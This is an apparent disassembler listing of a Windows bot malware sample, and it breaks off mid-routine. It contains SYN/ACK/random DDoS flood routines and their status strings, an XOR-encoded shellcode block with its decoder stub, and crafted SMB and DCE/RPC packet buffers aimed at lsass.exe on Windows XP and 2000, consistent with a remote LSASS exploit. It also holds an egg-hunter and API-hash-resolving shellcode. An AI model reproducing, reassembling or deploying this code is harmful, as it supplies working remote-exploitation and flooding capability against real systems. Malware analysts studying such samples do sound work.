		dd 9E61822h, 4F9619F1h,	0C3B8353h, 98292B51h, 878BABBDh
		dd 8CC85E70h, 0A6ABE91h, 48B5C2F1h, 44F0DB9Bh, 726F19A1h
		dd 0D6820579h, 3A728413h, 0AEE44D29h, 23DF95B3h, 2DD178E9h
		dd 0AA5D9A97h, 245B8B70h, 33114E17h, 1603F486h,	0B5602F4Ah
		dd 836F1ED8h, 25472ACBh, 56C585A8h, 517DC4CEh, 4172821Bh
		dd 9F4EA83Dh, 60D4A1FAh, 393AC44Fh, 0D168CC29h,	3145CA70h
		dd 0AB8A4DC2h, 0B5CFADDCh, 17E543C0h, 52931967h, 9F2F2C4Ah
		dd 0DD881AAFh, 2EF09775h, 0AAA84AA8h, 0CAB57102h, 0BCD88A4Bh
		dd 0
		dd 19DB7892h, 54DEC69Eh, 0B3C4E631h, 4A251936h,	4EAF1DEBh
		dd 0A4538EEh, 0FC5A1235h, 0F880CA26h, 4160F604h, 0E58B614Eh
		dd 0F4D5B3F1h, 21376B4Ch, 1066C266h, 65956DEEh,	371350CFh
		dd 90BC916Fh, 0
		dd 0EF8A03BCh, 0FDB9E29Fh, 7F8h, 0D00E007Eh, 0CC25C1C7h
		dd 5C6A3CEDh, 16D0000h,	40526980h, 5864230h, 0AE7CAC03h
		dd 2060000h, 1FC89BFh, 2BFD6FFDh, 9266B254h, 0E34AC3F5h
		dd 0D17F459h, 0BE22E8h,	0C14A0207h, 0CC7AA183h,	861C25Bh
		dd 70B01F4Ah, 70D26B92h, 31171EB9h, 89AF34h, 1B440296h
		dd 0D124F0h, 6D000124h,	90932F03h, 17784A40h, 3908C1F7h
		dd 4578E497h, 16E0000h,	0E14A58C6h, 7B1B72B5h, 9329A4B1h
		dd 0B9A7h, 934B00FBh, 0F522AE30h, 0B67B7E85h, 32331D70h
		dd 11A0000h, 1AD81975h,	0EE2046CCh, 696FCAABh, 4A0000h
		dd 28F46E03h, 0B20E551Bh, 0E95D8ED2h, 1B0000h, 556D03DBh
		dd 0DEFA121Fh, 7ECD4Dh,	11780112h, 0E38F7FC4h, 7402B56Bh
		dd 3400B4h, 66C58F41h, 23421877h, 0B04F91h, 4BF5010Dh
		dd 898FC898h, 8D09DC6Dh, 44C179EDh, 0ECC3E3C2h,	900000h
		dd 0E8896841h, 0BE9A069Dh, 8A0046h, 7B711FADh, 0F73C171Eh
		dd 0F3A591EFh, 9A943884h, 908BD0E5h, 890000h, 0DCC7532Bh
		dd 0F3DB50C2h, 0BD28A7EFh, 2903662Ch, 0E3EC581Dh, 7163F9h
		dd 6AE5009Dh, 34693C8Ah, 0D7983798h, 3ED5D0h, 0EE000094h
		dd 6C792961h, 6A7B0C69h, 0C026DB16h, 2180000h, 0B9D50ED1h
		dd 965BEA71h, 26A0000h,	0AC2A0A62h, 0A05454FEh,	23680838h
		dd 1BCEh, 906B01C1h, 4EAAA775h,	0AEE737B2h, 9E97DCB2h
		dd 6E6FBC1Fh, 32Eh, 83930066h, 50966A7Ch, 235B38B0h, 6D047FD7h
		dd 312EB99Fh, 3282h, 3DCF01ABh,	5875FD2h, 0B4DCAFA6h, 0F1183EC7h
		dd 0D323FE8Eh, 271AC9D0h, 0BDE3895Bh, 0AD227BCEh, 6E2471DDh
		dd 0B03838h, 0D00D0055h, 516C9A81h, 0FD164F2Ah,	3FA6C64Bh
		dd 0AC7CA699h, 0FCDD64h, 60FD01C2h, 5411CBEh, 0EA92D2C3h
		dd 6C80h, 2D56013Eh, 0A478CF95h, 0D3429EB9h, 0F80F2F0Bh
		dd 1260000h, 0ABA46628h, 8C7CD38Eh, 0D4AE70B8h,	0C07CE1EBh
		dd 0AF0000h, 0E59504Fh,	990DE2A0h, 0DD081A83h, 0F613h
		dd 152E0193h, 7689A67Ah, 54A972E1h, 66F1h, 0A0EE018Ch
		dd 0B31A064Ah, 0FDFAC186h, 2B00000h, 4B7D75A7h,	1FA350BFh
		dd 6D8F78D2h, 621B22h, 159B01D6h, 0FDF33C8Ah, 0F64A848Eh
		dd 0AC586Ch, 0B3B20035h, 0FBB9B690h, 2434ADCEh,	0F469540Dh
		dd 38A5A8DEh, 26C0000h,	4DB07C30h, 999540ADh, 0B23EC8h
		dd 0C2AF0114h, 99D18FE9h, 84CA3A4Ah, 440014h, 0BB8006DBh
		dd 5D96B4DCh, 8DA58926h, 30A8h,	0ED400080h, 0AA4A014Ch
		dd 2A3756D2h, 0A4F025Ah, 6AB421E2h, 0CAFB5801h,	24FA05h
		dd 81DA0268h, 6D7E12FCh, 0AC9A6C73h, 0F2BAF26Dh, 0FEE1AA6Eh
		dd 2DF0000h, 0D874427h,	90E5BB48h, 1650077h, 0F6BE104Ch
		dd 0C51F4998h, 0EFF2E48Ah, 1750000h, 0B259903Dh, 0D63EBB40h
		dd 3700726Eh, 18D0060h,	378C0EB7h, 0BC99D782h, 94B3BEBDh
		dd 0A04502CEh, 81CFh, 56050159h, 0D18C1247h, 3E57A45Eh
		dd 324553AAh, 0DDD731F7h, 11B0008h, 0AE3B1406h,	2B178101h
		dd 83A43924h, 7D0000h, 1D7BEAF1h, 2DDC2238h, 0B40736h
		dd 0DCAD0057h, 0D5181640h, 7D10B86Ch, 1EF0012h,	11EA3C8h
		dd 37804A6Dh, 1692FAh, 43D200F8h, 16345C1Ch, 3C56DFC1h
		dd 0AFD827D9h, 0C9F41C75h, 280025h, 73C93B77h, 0B317317Fh
		dd 2CE009Ch, 0C6DF0A82h, 2FFC3CB4h, 229D99D6h, 7AFBFAB7h
		dd 0B9B6F2h, 8263003Fh,	0C8844D6h, 63F79635h, 20D8h, 35DE029Fh
		dd 15B1D078h, 0D7B58047h, 0C367FB71h, 1DD0054h,	0BBBC980Dh
		dd 82C43F2h, 2D200C5h, 4BCFDCD5h, 0A8C1BA59h, 0EFE63ADAh
		dd 7920C5ADh, 46DB0Eh, 626101E4h, 0E17B19DBh, 3D79BA5Ah
		dd 0A8A46861h, 3B3C9C8Fh, 0CE0065h, 4434A5F6h, 101E77B0h
		dd 8F888FDCh, 89DC9BD7h, 0F70000h, 0C20EA61Ch, 512F02C8h
		dd 9D90ABFCh, 87C2962Fh, 29E0099h, 6240622Dh, 43C8509Dh
		dd 51B57BD3h, 2FB13463h, 11C0000h, 29896834h, 0A0B84AD5h
		dd 0F8C396D5h, 7712h, 92960199h, 0B6ABA6Bh, 5B4820h, 0A8CF019Fh
		dd 61DD2165h, 368Fh, 0DA54022Fh, 0C61B40DCh, 791816h, 3E760170h
		dd 92DB8C5Ch, 188D6BDDh, 0B1A4A025h, 6F50C19Dh,	0A5EE89EFh
		dd 15D0000h, 11C28F1Fh,	0BF486710h, 65451280h, 1A20057h
		dd 211757E9h, 0ECD238EEh, 9026AEh, 0F88A0150h, 38ADF071h
		dd 8FFE1FA8h, 0B3FC4077h, 0CA0034h, 690A8DADh, 54992D06h
		dd 9A43BBE1h, 0B941C7h,	762D0174h, 8B9FFBEFh, 616F8745h
		dd 19D0000h, 0F77BB328h, 7B71863Ah, 3F4297h, 3C93019Bh
		dd 0FA5B20B0h, 0D624C813h, 2BF0000h, 5BD98C37h,	0B7639E94h
		dd 865B8Dh, 1FDD02BBh, 0E3251ADEh, 59AA2A63h, 0B361h, 742B01B8h
		dd 0BA2F9524h, 38EB21ABh, 0D1A7ACh, 0E24C020Bh,	66A36671h
		dd 7FEB9BD8h, 317515EFh, 1A30000h, 831D9529h, 0E0210F04h
		dd 1BF0000h, 5FAB16EBh,	705E28B0h, 6C74735Ah, 1C00000h
		dd 19E68998h, 0BF1F88DFh, 0D0A17047h, 0BF0000h,	0EBB3A24Ch
		dd 357BB524h, 0B90097h,	0A8D09766h, 7FB4h, 39750131h, 7D813DB0h
		dd 1438h, 0F3BE02ADh, 3D748F3Fh, 3B3614BCh, 57BB8249h
		dd 0E85801D9h, 60B06568h, 4120h, 0F83B00B2h, 3205ECC5h
		dd 60A2B351h, 0E962BEDh, 67A575F9h, 0BC2F22E7h,	0B30002h
		dd 0AA2EA22h, 844E4F86h, 98E27E34h, 579EACC2h, 3D3B45A3h
		dd 408E31h, 66A60106h, 381B153Bh, 0ADBB2ABAh, 0C6F27789h
		dd 473ED513h, 73361h, 8C5F0108h, 0BA0B1833h, 5F1E5BDFh
		dd 0BA49251Ch, 5EA56F5h, 0D561137h, 26D0000h, 4EDA820Fh
		dd 40BF747Eh, 111A3E1Ch, 8C47h,	6C430152h, 2477D8C4h, 0B1F2C032h
		dd 51B8h, 9D420115h, 2EAA2CD4h,	5227B88Fh, 15300D8h, 4A94A488h
		dd 0B2997E5Bh, 1A8C549Ah, 3AA4h, 0B4100156h, 24602B6Dh
		dd 0B38D685Ch, 6E03A671h, 28B0000h, 0DD45854Ah,	603BF634h
		dd 1FEC55B0h, 8BF03DF6h, 0A315506Eh, 0FA6F0AA2h, 0B46DF0h
		dd 38B701B5h, 1198A1D7h, 549086CEh, 4DDDh, 8CF701B2h, 0AAD0CD58h
		dd 0FBD818B0h, 0A0CEh, 0E8A027Ch, 5E7754FCh, 3498B9F0h
		dd 0E96h, 0A79200AAh, 2B09C9Eh,	0A2E89479h, 5D1B7D95h
		dd 1A18h, 8E770261h, 10EE8BFEh,	8D2D6280h, 7FD3h, 0C5B00021h
		dd 7613D3B3h, 0A2C499EDh, 2091ADF0h, 220000h, 6C460352h
		dd 4872F60Eh, 5E49B40Bh, 0A4A1h, 0C90B0262h, 21F35B5Ah
		dd 927BCED7h, 9708C13Eh, 468B87FEh, 0F60D4F29h,	5BCB0053h
		dd 0B1ED4CC7h, 99441C75h, 9322h, 176h dup(0)
seg001		ends

; Section 3. (virtual address 0001E000)
; Virtual size			: 00043000 ( 274432.)
; Section size in file		: 00043000 ( 274432.)
; Offset to raw	data for section: 0001E000
; Flags	E0000040: Data Executable Readable Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
seg002		segment	para public 'CODE' use32
		assume cs:seg002
		;org 41E000h
		assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing
		dd 0
		dd offset sub_40316C
		dd offset sub_41AFB4
		dd 2 dup(0)
		dd offset sub_411692
		dd offset sub_4171A7
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		db 7Fh,	41h, 0
		dd offset loc_418962
		align 8
dword_41E028	dd 0				dd offset loc_418068
dword_41E030	dd 0		dword_41E034	dd 0				dd offset loc_418973
dword_41E03C	dd 0		unk_41E040	db    2			; DATA XREF: start+5Bo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  64h	; d
		db 64h,	6Fh, 73h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aDoneWithFloodI	db '  Done with flood (%iKB/sec).',0
		align 4
		db    2
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  64h	; d
		db 64h,	6Fh, 73h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aSendErrorD_	db '  Send error: <%d>.',0
		align 10h
aDdos_random	db 'ddos.random',0      ; DATA XREF: seg000:loc_4011DEo
aDdos_ack	db 'ddos.ack',0         ; DATA XREF: seg000:loc_4011C2o
		align 4
aDdos_syn	db 'ddos.syn',0         ; DATA XREF: seg000:004011A3o
		align 4
		db    2
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  20h
		db 69h,	63h, 6Dh
		db  70h	; p
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aDoneWithSFlood	db 'Done with %s flood to IP: %s. Sent: %d packet(s) @ %dKB/sec (%dMB'
		db ').',0
		db    2
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  20h
		db 69h,	63h, 6Dh
		db  70h	; p
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aErrorSendingPa	db 'Error sending packets to IP: %s. Packets sent: %d. Returned: <%d>'
		db '.',0
		align 4
		db    2
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  20h
		db 69h,	63h, 6Dh
		db  70h	; p
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aInvalidTargetI	db 'Invalid target IP.',0
		align 10h
unk_41E1D0	db    2			; DATA XREF: seg000:00401509o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  20h
		db 69h,	63h, 6Dh
		db  70h	; p
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aErrorSetsockop	db 'Error: setsockopt() failed, returned: <%d>.',0
unk_41E21C	db    2			; DATA XREF: seg000:00401490o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  20h
		db 69h,	63h, 6Dh
		db  70h	; p
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aErrorSocketFai	db 'Error: socket() failed, returned: <%d>.',0
dword_41E264	dd 28026502h, 62302E31h, 20282029h, 2E6E7973h, 1F641F6Dh
					; DATA XREF: sub_40182E+48o
		dd 2029206Ch, 2BBBB02h
aDoneWithFloo_0	db '  Done with flood (%iKB/sec).',0
		align 10h
dword_41E2A0	dd 28026502h, 62302E31h, 20282029h, 2E6E7973h, 1F641F6Dh
					; DATA XREF: seg000:00401B47o
		dd 2029206Ch, 2BBBB02h
aSendErrorD__0	db '  Send error: <%d>.',0
dword_41E2D0	dd 28026502h, 62302E31h, 20282029h, 2E706374h, 1F641F6Dh
					; DATA XREF: seg000:004020C1o
		dd 2029206Ch, 2BBBB02h
aDoneWithSFlo_0	db '  Done with %s flood to IP: %s. Sent: %d packet(s) @ %dKB/sec (%d'
		db 'MB).',0
		align 4
dword_41E334	dd 28026502h, 62302E31h, 20282029h, 2E706374h, 1F641F6Dh
					; DATA XREF: seg000:00402025o
		dd 2029206Ch, 2BBBB02h
aErrorSending_0	db '  Error sending packets to IP: %s. Packets sent: %d. Returned: <%'
		db 'd>.',0
		align 4
aRandom		db 'random',0           ; DATA XREF: seg000:00401EE8o
					; seg000:0040B618o ...
		align 10h
aAck		db 'ack',0              ; DATA XREF: seg000:00401EC8o
					; seg000:0040B601o
aSyn		db 'syn',0              ; DATA XREF: seg000:00401EA8o
					; seg000:0040B5E9o
dword_41E3A8	dd 28026502h, 62302E31h, 20282029h, 2E706374h, 1F641F6Dh
					; DATA XREF: seg000:00401D35o
		dd 2029206Ch, 2BBBB02h
aInvalidTarge_0	db '  Invalid target IP.',0
		align 4
dword_41E3DC	dd 28026502h, 62302E31h, 20282029h, 2E706374h, 1F641F6Dh
					; DATA XREF: seg000:00401CC4o
		dd 2029206Ch, 2BBBB02h
aErrorSetsock_0	db '  Error: setsockopt() failed, returned: <%d>.',0
		align 4
dword_41E428	dd 28026502h, 62302E31h, 20282029h, 2E706374h, 1F641F6Dh
					; DATA XREF: seg000:00401C46o
		dd 2029206Ch, 2BBBB02h,	72452020h, 3A726F72h, 636F7320h
		dd 2874656Bh, 61662029h, 64656C69h, 6572202Ch, 6E727574h
		dd 203A6465h, 3E64253Ch, 2Eh, 4B5B10EBh, 0B966C933h, 34800125h
		dd 0FAE2990Bh, 0EBE805EBh, 70FFFFFFh, 99999962h, 0A938FDC6h
		dd 12999999h, 0E91295D9h, 0F1123485h, 0F36E1291h, 271C09Dh
		dd 7B999999h, 0ABAAF160h, 0EEF19999h, 0CDC6ABEAh, 71128F66h
		dd 71C09DF3h, 9999991Bh, 7518607Bh, 99999809h, 9898F1CDh
		dd 0CF669999h, 0C9C9C989h, 0D9C9D9C9h, 8DCF66C9h, 0E6F14112h
		dd 0F1989999h, 4B9D999Bh, 89F35512h, 0CF66CAC8h, 0EC591C81h
		dd 0F4FAF1D3h, 0FF1099FDh, 0CD751AA9h, 0F3BDA514h, 7B32C08Ch
		dd 0BDDD5F64h, 0DD67DD89h, 0C510A4BDh, 0C510D1BDh, 0C510D5BDh
		dd 0DD14C9BDh, 0C9CD89BDh, 0F3C8C8C8h, 66C8C898h, 66C8A9EFh
		dd 55129DCFh, 0A86666F3h, 0CA91CF66h, 6685CF66h, 0CFC895CFh
		dd 12A5DC12h, 9AE1B1CDh, 0EB12CB4Ch, 0AA6C9AB9h, 34D8D050h
		dd 42AA5C9Ah, 0A3892796h, 5891ED4Fh, 439A9452h,	0A26872D9h
		dd 0C37EEC86h, 9ABDC312h, 9512FF44h, 85C312D2h,	9D12449Ah
		dd 325C9A12h, 715AC0C7h, 66666699h, 7597D717h, 8F2A67EBh
		dd 579C4034h, 0F9795776h, 0A2657452h, 346C9040h, 0F9336075h
		dd 0E05FE07Eh, 0
; ---------------------------------------------------------------------------
		jmp	short loc_41E5C2

; =============== S U B	R O U T	I N E =======================================



sub_41E5B2	proc near		; CODE XREF: sub_41E5B2:loc_41E5C2p
		pop	edx
		dec	edx
		xor	ecx, ecx
		mov	cx, 17Dh


loc_41E5BA:				; CODE XREF: sub_41E5B2+Cj
		xor	byte ptr [edx+ecx], 99h
		loop	loc_41E5BA
		jmp	short loc_41E5C7
; ---------------------------------------------------------------------------


loc_41E5C2:				; CODE XREF: seg002:0041E5B0j
		call	sub_41E5B2


loc_41E5C7:				; CODE XREF: sub_41E5B2+Ej
		jo	short near ptr dword_41E428+136h
		cwde
		cdq
		cdq
		retn
sub_41E5B2	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0FDh, 38h, 0A9h
		dd 12999999h, 0E91295D9h, 0D9123485h, 12411291h, 0ED12A5EAh
		dd 6A9AE187h, 9AB9E712h, 8DD71262h, 0CECF74AAh,	9AA612C8h
		dd 0F36B1262h, 3F6AC097h, 0C6C091EDh, 0DC9D5E1Ah, 0C6C0707Bh
		dd 125412C7h, 5A9ABDDFh, 589A7848h, 12FF50AAh, 85DF1291h
		dd 78585A9Ah, 12589A9Bh, 125A9A99h, 1A6E1263h, 4912975Fh
		dd 71C09AF3h, 9999991Eh, 0CB945F1Ah, 65CE66CFh,	0F34112C3h
		dd 0ED71C09Ch, 0C9999999h, 0F3C9C9C9h, 669BF398h, 411275CEh
		dd 999B9E5Eh, 59AA4B9Dh, 0F39DDE10h, 66CACE89h,	98F369CEh
		dd 6DCE66CAh, 66CAC9C9h, 491261CEh, 12DD751Ah, 0F359AA6Dh
		dd 9D10C089h, 10627B17h, 0CF10A1CFh, 0D9CF10A5h, 0B5DF5EFFh
		dd 0DE149898h, 0AACFC989h, 0C8C8C850h, 0C8C898F3h, 0FAA5DE5Eh
		dd 1499FDF4h, 0C8C9A5DEh, 0CB79CE66h, 0CA65CE66h, 0C965CE66h
		dd 0AA7DCE66h, 591C3559h, 0CBC860ECh, 4B66CACFh, 7B32C0C3h
		dd 5A59AA77h, 66677671h, 0EDFCDE66h, 0FAF6EBC9h, 0EBFDFDD8h
		dd 99EAEAFCh, 0F8FCEBDAh, 0EBC9FCEDh, 0EAFCFAF6h, 0DC99D8EAh
		dd 0CDEDF0E1h, 0F8FCEBF1h, 0F6D599FDh, 0F0D5FDF8h, 0EBF8EBFBh
		dd 0EE99D8E0h, 0AAC6ABEAh, 0CACE99ABh, 0FAF6CAD8h, 0D8EDFCF2h
		dd 0F7F0FB99h, 0F0F599FDh, 0F7FCEDEAh, 0FAFAF899h, 99EDE9FCh
		dd 0EAF6F5FAh, 0FAF6EAFCh, 99EDFCF2h, 0
		dd 85000000h, 424D53FFh, 72h, 0C8531800h, 3 dup(0)
		dd 0FEFF0000h, 0
		dd 2006200h, 4E204350h,	4F575445h, 50204B52h, 52474F52h
		dd 31204D41h, 200302Eh,	4D4E414Ch, 2E314E41h, 57020030h
		dd 6F646E69h, 66207377h, 5720726Fh, 676B726Fh, 70756F72h
		dd 2E332073h, 2006131h,	2E314D4Ch, 30305832h, 4C020032h
		dd 414D4E41h, 312E324Eh, 544E0200h, 204D4C20h, 32312E30h
		dd 0
		dd 0A4000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
		dd 0FEFF0000h, 100000h,	0A400FF0Ch, 0A110400h, 0
		dd 20000000h, 0
		dd 0D400h, 4E006980h, 534D4C54h, 1005053h, 97000000h, 0E00882h
		dd 4 dup(0)
aWindows2000219:
		unicode	0, <Windows 2000 2195>,0
aWindows20005_0:
		unicode	0, <Windows 2000 5.0>,0
		align 4
		dd 0
		dd 0DA000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
		dd 0FEFF0000h, 200800h,	0DA00FF0Ch, 0A110400h, 0
		dd 57000000h, 0
		dd 0D400h, 4E009F80h, 534D4C54h, 3005053h, 1000000h, 46000100h
		dd 0
		dd 47000000h, 0
		dd 40000000h, 0
		dd 40000000h, 6000000h,	40000600h, 10000000h, 47001000h
		dd 15000000h, 48E0888Ah, 44004F00h, 19810000h, 0E4F27A6Ah
		dd 0AF281C49h, 10742530h, 575367h, 6E0069h, 6F0064h, 730077h
		dd 320020h, 300030h, 200030h, 310032h, 350039h,	570000h
		dd 6E0069h, 6F0064h, 730077h, 320020h, 300030h,	200030h
		dd 2E0035h, 30h, 0
		dd 5C000000h, 424D53FFh, 75h, 0C8071800h, 3 dup(0)
		dd 0FEFF0000h, 300800h,	5C00FF04h, 1000800h, 3100h, 5C005Ch
		dd 390031h, 2E0032h, 360031h, 2E0038h, 2E0031h,	310032h
		dd 5C0030h, 500049h, 240043h, 3F3F0000h, 3F3F3Fh, 0
		dd 64000000h, 424D53FFh, 0A2h, 0C8071800h, 3 dup(0)
		dd 4DC0800h, 400800h, 0DE00FF18h, 0E00DEh, 16h,	0
		dd 2019Fh, 3 dup(0)
		dd 3, 1, 40h, 2, 1103h,	6C005Ch, 610073h, 700072h, 63h
		dd 0
		dd 9C000000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
		dd 4DC0800h, 500800h, 48000010h, 0
		dd 4, 2	dup(0)
		dd 48005400h, 2005400h,	2600h, 10005940h, 50005Ch, 500049h
		dd 5C0045h, 0
		dd 30B0005h, 10h, 48h, 1, 10B810B8h, 0
		dd 1, 10000h, 3919286Ah, 11D0B10Ch, 0C000A89Bh,	0F52ED94Fh
		dd 0
		dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
		dd 0F40C0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
		dd 4DC0800h, 600800h, 0A0000010h, 0Ch, 4, 2 dup(0)
		dd 0A0005400h, 200540Ch, 2600h,	100CB140h, 50005Ch, 500049h
		dd 5C0045h, 0
		dd 3000005h, 10h, 0CA0h, 1, 0C88h, 90000h, 3ECh, 0
		dd 3ECh, 0
		dd offset loc_401495
		dd 3, 40707Ch, 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd offset loc_40707A+2
		dd 1, 0
		dd 1, 0
		dd offset loc_40707A+2
		dd 1, 0
		dd 1, 0
		dd offset loc_40707A+2
		dd 1, 0
		dd 1, 0
		dd 138578h, 0E9A65BABh,	0
		dd 0F8100000h, 424D53FFh, 2Fh, 0C8071800h, 3 dup(0)
		dd 0FEFF0800h, 600800h,	0DE00FF0Eh, 4000DEh, 0FF000000h
		dd 8FFFFFFh, 10B800h, 4010B800h, 0
		dd 0EE10B900h, 1000005h, 10h, 10B8h, 1,	200Ch, 90000h
		dd 0DADh, 0
		dd 0DADh, 0
		dd 0D80F0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
		dd 1180800h, 700800h, 84000010h, 0Fh, 4, 2 dup(0)
		dd 84005400h, 200540Fh,	2600h, 0F9540h,	50005Ch, 500049h
		dd 5C0045h, 0
		dd 2000005h, 10h, 0F84h, 1, 0F6Ch, 90000h, 2 dup(0)
		dd offset loc_40A898+2
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd offset loc_40A898+2
		dd 1, 0
		dd 1, 0
		dd offset loc_40A898+2
		dd 1, 0
		dd 1, 0
		dd offset loc_40A898+2
		dd 1, 0
		dd 1, 2	dup(0)
		dd 0AD9Dh, 2 dup(0)
aWinxpProfessio	db 'WinXP Professional    [universal] lsass.exe ',0
		align 4
		dd 0
		dd 1004600h, 1,	326E6957h, 7250206Bh, 7365666Fh, 6E6F6973h
		dd 20206C61h, 755B2020h, 6576696Eh, 6C617372h, 656E205Dh
		dd 70617274h, 6C6C642Eh, 2 dup(0)
		dd 7515123Ch, 2, 326E6957h, 6441206Bh, 636E6176h, 53206465h
		dd 65767265h, 535B2072h, 205D3450h, 20202020h, 656E2020h
		dd 70617274h, 6C6C642Eh, 2 dup(0)
		dd 751C123Ch, 0Fh dup(0)
dword_41EE48	dd 0A0D7325h, 0						; seg000:0040CB04o ...
byte_41EE50	db 90h			; DATA XREF: sub_40238E+B2o
		db 42h,	90h, 42h
		db 90h
		dd offset aCrystal+6
		align 4
dword_41EE5C	dd 10FF8h, 0	dword_41EE64	dd 10FF8h	dword_41EE68	dd 7FFDF020h, 0	dword_41EE70	dd 424D53FFh, 72h, 0C8531800h, 3 dup(0)		dd 13370000h, 0
		dd 2006200h
aPcNetworkProgr	db 'PC NETWORK PROGRAM 1.0',0
		db 2
		db  4Ch	; L
		db 41h,	4Eh, 4Dh
		db  41h	; A
		db 4Eh,	31h, 2Eh
		db  30h	; 0
		align 2
		dw 5702h
aIndowsForWorkg	db 'indows for Workgroups 3.1a',0
		db 2
		dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh
		dd 544E0200h, 204D4C20h, 32312E30h, 0
dword_41EEF8	dd 424D53FFh, 73h, 0C8071800h, 3 dup(0)		dd 13370000h, 0
		dd 0FF0Ch, 0A110400h, 2	dup(0)
dword_41EF28	dd 0				dd 800000D4h, 0
unk_41EF34	db  81h	; 		; DATA XREF: sub_402892+Ao
		db 2 dup(0), 44h
aCkfdenecfdeffc	db ' CKFDENECFDEFFCFGEFFCCACACACACACA',0
aCacacacacacaca	db ' CACACACACACACACACACACACACACACAAA',0
		align 10h
byte_41EF80	db 41h			; DATA XREF: sub_402930+107r
aBcdefghijklmno	db 'BCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/',0
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_41EFC4	proc near		; DATA XREF: sub_402B8D+80o
		push	ebx
		push	esi
		push	edi
		sub	sp, 80h
		mov	esi, esp
		call	sub_41F0C0
		push	dword ptr [esi]
		push	63D61209h
		call	sub_41F0D6
		mov	[esi+8], eax
		call	sub_41F089
		push	dword ptr [esi+4]
		push	0CA2BD06Bh
		call	sub_41F0D6
		mov	[esi+0Ch], eax
		call	sub_41F03B
		push	dword ptr [esi+4]
		push	4C0297FAh
		call	sub_41F0D6
		xor	ebx, ebx
		push	410h
		push	ebx
		call	eax
		mov	ebx, eax
		push	esi
		mov	esi, [esi+10h]
		mov	edi, eax
		mov	ecx, 410h
		rep movsb
		pop	esi
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	ebx
		push	eax
		push	eax
		call	dword ptr [esi+0Ch]
		mov	eax, [esi+8]
		add	sp, 80h
		pop	edi
		pop	esi
		pop	ebx
		jmp	eax
sub_41EFC4	endp


; =============== S U B	R O U T	I N E =======================================



sub_41F03B	proc near		; CODE XREF: sub_41EFC4+33p

var_20		= dword	ptr -20h
var_14		= dword	ptr -14h

		pusha
		call	sub_41F064
		mov	eax, [esp+20h+var_14]
		lea	ebx, [eax+7Ch]
		add	dword ptr [ebx+3Ch], 5
		add	dword ptr [ebx+28h], 1000h
		and	dword ptr [ebx+28h], 0FFFFF000h
		mov	eax, [esp+20h+var_20]
		add	esp, 14h
		push	eax
		xor	eax, eax
		retn
sub_41F03B	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41F064	proc near		; CODE XREF: sub_41F03B+1p
		xor	edx, edx
		push	dword ptr fs:[edx]
		mov	fs:[edx], esp
		xor	ebx, ebx
		mov	eax, 42904290h


loc_41F073:				; CODE XREF: sub_41F064+1Aj
		xor	ecx, ecx
		mov	cl, 2
		mov	edi, ebx
		repe scasd
		jz	short loc_41F080
		inc	ebx
		jmp	short loc_41F073
; ---------------------------------------------------------------------------


loc_41F080:				; CODE XREF: sub_41F064+17j
		mov	[esi+10h], edi
		pop	dword ptr fs:[edx]
		pop	eax
		popa
		retn
sub_41F064	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41F089	proc near		; CODE XREF: sub_41EFC4+1Ep
		pusha
		mov	edi, 7FFDF020h
		mov	ebx, [edi]
		mov	eax, [esi+8]
		mov	[edi], eax
		mov	edi, [edi-8]
		add	edi, 178h
		mov	ecx, edi


